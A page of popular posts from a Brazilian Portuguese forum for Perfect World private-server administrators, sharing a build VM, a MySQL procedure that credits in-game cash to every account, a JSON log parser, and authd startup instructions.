  42. Virtual Machine para compilar a source, pronto para uso. Fedora Core 2 i386 login = root password = 123456 Essa versão usa o gcc 3.33. Está com Firewall desativado, caso for usar internet nela recomendo ativar. [Conteúdo Oculto] Obs.: 1 – Caso for alterar as configurações da vbox, deixar o processador somente com 1 nucleo caso contrário vai dar erro e não inicia a vm. 2 – Caso você use o “yum update” vai atualizar todos os pacotes, eu tive que alterar o yum.conf para fazer link direto com repositório já que o sistema não tem mais suporte e precisava adicionar alguns pacotes, quando atualizar pode ser que trave sua rede eth0, e apareça o mac adress no lugar do ip. Para resolver faça os passos abaixo. Va em configurações >> rede >> conectado a >> Placa em modo Bridge >> avançado >> Tipo de Placa Altere o tipo para outro que não seja Intel. salva e reiniciar a vbox. Durante o boot vai reconhecer que houve uma alteração deleta a antiga e não adicione a nova, espere terminar o boot e desligue a vm. Volte em: Va em configurações >> rede >> conectado a >> Placa em modo Bridge >> avançado >> Tipo de Placa Selecione o tipo para Intel novamente e reinicie a vm, delete a antiga e configure essa, só marque a opção apra ip dinâmico e termina o boot, você vai ver que agora tem o ip. Com isso vai conseguir usar o Winscp caso tenha atualizado. 3 – Caso você faça o update irá aparecer diversas kernels durante o boot, recomendo usar a padrão. Não sei se as outras kernels afetam a compilação não testei. 4 – Caso queira adicionar algum pacote extra só procurar no repositório. [Conteúdo Oculto]
    1 ponto
  43. "Importante: Quero ressaltar que todo conhecimento e métodos compartilhados aqui são apenas para uso pessoal. Eu não me responsabilizo por danos, prejuízos ou mau uso das informações fornecidas. O conhecimento é uma poderosa ferramenta que deve ser usada com responsabilidade. Cabe a cada um de nós garantir que aplicamos esse conhecimento de forma adequada, respeitando as leis, ética e diretrizes aplicáveis. Assim como qualquer outra fonte de informações, é fundamental verificar a veracidade e precisão dos conteúdos antes de utilizá-los. Recomendo sempre consultar fontes confiáveis e buscar orientação profissional quando necessário. Lembre-se de que cada um é responsável por suas próprias ações e decisões. Utilize o conhecimento adquirido de forma consciente e cuidadosa, levando em consideração as possíveis consequências. Estou aqui para fornecer informações e auxiliar no que for possível, mas não posso ser responsabilizado por qualquer dano ou prejuízo decorrente do uso indevido ou interpretação incorreta das informações compartilhadas. Aproveite o conhecimento de forma responsável e continue aprendendo! USE pw; -- Seleciona o banco de dados "pw" DELIMITER // DROP PROCEDURE IF EXISTS usecash_loop // CREATE PROCEDURE usecash_loop() BEGIN DECLARE done INT DEFAULT FALSE; DECLARE id_value INT; DECLARE cur CURSOR FOR SELECT ID FROM users; DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = TRUE; OPEN cur; read_loop: LOOP FETCH cur INTO id_value; IF done THEN LEAVE read_loop; END IF; CALL usecash(id_value, 1, 0, 9, 0, 1000000, 1, @error); END LOOP; CLOSE cur; END // DELIMITER ; CALL usecash_loop();
    1 ponto
  44. Desenvolvi esse sistema de logs nos últimos dias e acho que ele pode ser útil para mais alguém. :) Ele lê os arquivos world2.* e gera logs legíveis em json, o que permite até usa-lo como base para algum outro projeto. Um diferêncial que eu estou testando nele é a ideia de separar os logs em pastas de personagem, cada personagem dentro do jogo terá seus logs salvos em uma pasta com seu ID. Eu ainda estou trabalhando nele e o projeto está disponível no github caso alguém queira contribuir ou ver o código antes de baixar. Download Instalação: Dentro da pasta do pwlogify, rode o comando composer install (Se ainda não tiver ele instalado: apt-get install composer) Abra o arquivo start_pwlogify.sh e configure a variável script_path de acordo com o caminho que você colocou o projeto. Abra também o arquivo world2_listener.sh na pasta scripts e configure a variável server_path se necessário. No diretório raiz do projeto, rode o seguinte comando: chmod +x start_pwlogify.sh stop_pwlogify.sh scripts/world2_listener.sh. Execute ./start_pwlogify.sh ou ./stop_pwlogify.sh para iniciar/parar o script. Obs: eu desenvolvi ele usando como base a versão 152. Exemplos dos logs gerados:
    1 ponto
  45. 1 ponto
  46. authd-base64.zip Configura usuário e senha mysql em authd/table.xml Comando para ligar: cd pwserver/authd/; ./authd start >pwserver/logs/authd.log & Caso fica dando erro de Connection Failed pegue o conteudo de authd/authd_old.conf e coloque em authd/authd.conf ou pega o authd.conf de alguma auth que já esteja funcionando em seu servidor
    1 ponto
  47. @GabrielGG vou deixa o link abaixo da interfaces , surfaces com as parada no inventario e o botão na lojinha offline [Conteúdo Oculto] Qualquer coisa só chama no Discord: Notoryu#8659
    1 ponto

Suporte GM

Comunidade de Perfect World do Brasil

Copyright © 2023-2024 SuporteGM Powered by Invision Community
Поддержка Invision Community в России

Links

×
×
  • Criar Novo...